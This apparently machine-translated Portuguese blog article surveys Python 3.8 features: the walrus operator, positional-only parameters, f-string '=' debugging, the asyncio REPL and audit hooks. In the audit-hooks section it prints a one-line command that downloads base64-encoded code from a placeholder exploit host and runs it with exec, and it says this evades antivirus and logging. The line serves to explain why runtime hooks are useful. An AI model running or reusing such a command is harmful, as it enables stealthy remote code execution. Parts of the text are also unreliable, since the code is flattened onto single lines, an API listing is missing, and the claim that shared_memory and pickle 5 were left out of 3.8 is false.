A tradução a seguir foi preparada especificamente para pythonists que estão interessados em ler com certeza sobre os novos recursos do Python 3.8. Antecipando o lançamento de um novo tópico no curso "Python Developer", não foi possível superar esse tópico.Neste artigo, falaremos sobre os novos recursos introduzidos no Python 3.8.

Operador de morsas (operador de atribuição)
Sabemos que você estava esperando por isso. Essa expectativa remonta aos dias em que o Python foi deliberadamente proibido de usar "=" como um operador de comparação. Algumas pessoas gostaram disso porque não confundiram mais = e == na atribuição e comparação. Outros acharam desconfortável repetir o operador ou atribuí-lo a uma variável. Vamos passar para um exemplo.
Segundo Guido, a maioria dos programadores costuma escrever:
group = re.match(data).group(1) if re.match(data) else None
Em vez disso
match = re.match(data) group = match.group(1) if match else None
Isso torna o programa mais lento. Embora seja compreensível o motivo pelo qual alguns programadores ainda não escrevem da primeira maneira - isso atrapalha o código.
Agora temos a oportunidade de fazer isso:
group = match.group(1) if (match := re.match(data)) else None
Além disso, é útil ao usar ifs, para não calcular tudo antecipadamente.
match1 = pattern1.match(data) match2 = pattern2.match(data) if match1: result = match1.group(1) elif match2: result = match2.group(2) else: result = None
E, em vez disso, podemos escrever:
if (match1 := pattern1.match(data)): result = match1.group(1) elif (match2 := pattern2.match(data)): result = match2.group(2) else: result = None
O que é mais ideal, pois o segundo se não será considerado se o primeiro funcionar.
De fato, estou muito satisfeito com o padrão PEP-572, porque ele não apenas oferece uma oportunidade anteriormente inexistente, mas também usa um operador diferente para isso; portanto, não será fácil confundi-lo com ==.
No entanto, ao mesmo tempo, também oferece novas oportunidades para erros e a criação de código anteriormente inoperante.
y0 = (y1 := f(x))
Argumentos posicionais
def f(a, b, /, c, d, *, e, f): print(a, b, c, d, e, f)
Aqui, tudo antes
/
são argumentos estritamente posicionais, e tudo depois
*
são apenas palavras-chave.
f(10, 20, 30, d=40, e=50, f=60) - valid f(10, b=20, c=30, d=40, e=50, f=60) - b cannot be a keyword argument f(10, 20, 30, 40, 50, f=60) - e must be a keyword argument
O escopo desta função pode ser expresso em uma frase. Será mais fácil para as bibliotecas alterar suas assinaturas. Vejamos um exemplo:
def add_to_queue(item: QueueItem):
Agora, o autor deve oferecer suporte a essa assinatura e o nome do parâmetro não deve mais ser alterado, pois essa alteração se tornará crítica. Imagine que você precisa alterar não apenas um elemento, mas toda uma lista de elementos:
def add_to_queue(items: Union[QueueItem, List[QueueItem]]):
Ou então:
def add_to_queue(*items: QueueItem):
Isso é algo que você não podia fazer antes devido a possíveis incompatibilidades com a versão anterior. Agora você pode. Além disso, isso é mais consistente com os designs que já usam essa abordagem. Por exemplo, você não pode passar kwargs para a função pow.
>>> help(pow) ... pow(x, y, z=None, /) ... >>> pow(x=5, y=3) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: pow() takes no keyword arguments
Depurando com f-lines
Uma pequena função adicional que nos ajuda a usar um formato de gravação compacto no formato "nome da variável =" variável.
f"{chr(65) = }" => "chr(65) = 'A'"
Você percebeu isso depois de chr (65)? Esse mesmo truque. Ajuda a fornecer uma maneira mais curta de imprimir variáveis usando linhas f.
Shell nativo de assíncio
Agora, se executarmos o shell do Python como 'python -m asyncio', não precisaremos mais de
asyncio.run()
para executar as funções assíncronas. Await pode ser usado diretamente no próprio shell:
>python -m asyncio asyncio REPL 3.8.0b4 Use “await” directly instead of “asyncio.run()”. Type “help”, “copyright”, “credits” or “license” for more information. >>> import asyncio >>> async def test(): … await asyncio.sleep(1) … return 'hello' … >>> await test() 'hello'
Python chama ganchos de auditoria de tempo de execução
O Python Rantime depende muito de C. No entanto, o código executado nele não é registrado ou rastreado de forma alguma. Isso dificulta o monitoramento da operação de estruturas para teste, estruturas para log, ferramentas de segurança e, possivelmente, limita as ações executadas pelo tempo de execução.
Agora você pode observar os eventos acionados pelo tempo de execução, incluindo a operação do sistema de importação de módulos e qualquer gancho do usuário.
A nova API é a seguinte:
Ganchos não podem ser excluídos ou substituídos. Para CPython, ganchos provenientes de C são considerados globais, enquanto ganchos provenientes de Python são apenas para o intérprete atual. Ganchos globais são executados antes do intérprete.
Uma exploração particularmente interessante e não rastreada pode ser assim:
python -c “import urllib.request, base64; exec(base64.b64decode( urllib.request.urlopen('http://my-exploit/py.b64') ).decode())”
Esse código não é verificado pela maioria dos programas antivírus, pois eles se concentram no código reconhecível que é lido ao carregar e gravar no disco, e a base64 é suficiente para contornar esse sistema. Esse código também passará por níveis de segurança, como listas ou permissões de controle de acesso a arquivos (quando o acesso a arquivos não é necessário), listas de aplicativos confiáveis (assumindo que o Python tenha todas as permissões necessárias) e auditoria ou registro automático (desde que O Python tem acesso à Internet ou a outra máquina na rede local com a qual você pode obter a carga útil).
Com ganchos de eventos de tempo de execução, podemos decidir como responder a qualquer evento específico. Podemos registrar o evento ou finalizar completamente a operação.
multiprocessing.shared_memory
Ajuda a usar a mesma área de memória de diferentes processos / intérpretes. Basicamente, isso pode nos ajudar a reduzir o tempo necessário para serializar objetos para transferi-los entre processos. Em vez de serializar, enfileirar e desserializar, podemos apenas usar a memória compartilhada de outro processo.
Protocolo de pickle e buffers de dados fora de banda
O protocolo pickle 5 fornece suporte para buffers fora de banda, onde os dados podem ser transmitidos separadamente do fluxo de pickle principal, a critério da camada de transporte.
Os 2 complementos anteriores são muito importantes, mas não foram incluídos na versão de lançamento do Python 3.8, pois ainda há trabalho a ser feito com a compatibilidade com o código antigo, mas isso pode mudar a abordagem da programação paralela no Python.
Sub-intérpretes
Threads em Python não podem ser executados em paralelo devido ao GIL, enquanto os processos exigem muitos recursos. Somente o início do processo leva 100-200 ms e eles também consomem uma grande quantidade de RAM. Mas algo pode lidar com eles, e esses são sub-intérpretes. O GIL é um intérprete, portanto, não afetará o trabalho de outros intérpretes e inicia mais fácil que um processo (embora mais lento que um encadeamento).
O principal problema que surge nessa conexão é a transferência de dados entre intérpretes, pois eles não podem transferir o estado, como fazem os fluxos. Portanto, precisamos usar algum tipo de conexão entre eles. Pickle, marshal ou json podem ser usados para serializar e desserializar objetos, mas esse método funcionará bem devagar. Uma solução é usar a memória compartilhada de um módulo de processo.
Os subprocessos parecem ser uma boa solução para os problemas de GIL, mas um certo conjunto de trabalhos ainda precisa ser feito. Em alguns casos, o Python ainda usa "Runtime State" em vez de "Interpreter State". Por exemplo, o coletor de lixo faz exatamente isso. Portanto, você precisa fazer alterações em muitos módulos internos para começar a usar subinterpretadores de maneira normal.
Espero que essa funcionalidade já esteja totalmente implantada no Python versão 3.9.
Concluindo, quero dizer que um certo açúcar sintático foi adicionado a esta versão, bem como algumas melhorias sérias no trabalho das bibliotecas e no processo de execução. No entanto, muitos recursos interessantes nunca chegaram ao lançamento, portanto, esperamos por eles no Python 3.9.
Fontes: